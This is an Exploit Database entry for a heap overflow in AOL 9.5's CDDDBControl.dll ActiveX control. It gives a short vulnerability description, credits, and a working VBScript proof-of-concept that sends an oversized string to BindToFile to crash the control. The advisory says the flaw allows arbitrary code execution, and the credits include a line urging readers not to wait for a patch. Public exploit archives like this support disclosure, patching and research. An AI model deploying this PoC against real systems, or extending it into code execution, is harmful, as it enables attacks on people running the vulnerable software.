

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

AOL 9.5 - ActiveX Heap Overflow

EDB-ID:

11190

CVE:

EDB Verified: ✓

Author:

[HELLCODE RESEARCH](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2010-01-19

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

Product:

AOL 9.5

Vulnerability:

ActiveX - Heap Overflow

Discussion:

Vulnerability is in Activex Control ("CDDDBControl.dll")
 Sending a string to BindToFile() , triggering the vulnerability.
 Successful exploitation allow remote attackers to execute arbitrary code.

Credits:

Celil 'karak0rsan' Unuver and murderkey
 from Hellcode Research

tcc.hellcode.net
 forum.hellcode.net

L4stW0rdZ: "hi francis, do you think we forget you ??? ofcourse not, dont wait patch, dont support vendors and security industry" - mkey

PoC .wsf script:

```
-----
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:BC8A96C6-3909-11D5-9001-00C04F4C3B9F' id='target' />
<script language='vbscript'>

arg1=String(4000, "A")
arg2=1

target.BindToFile arg1 ,arg2

</script>
</job>
</package>
```

Tags:Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING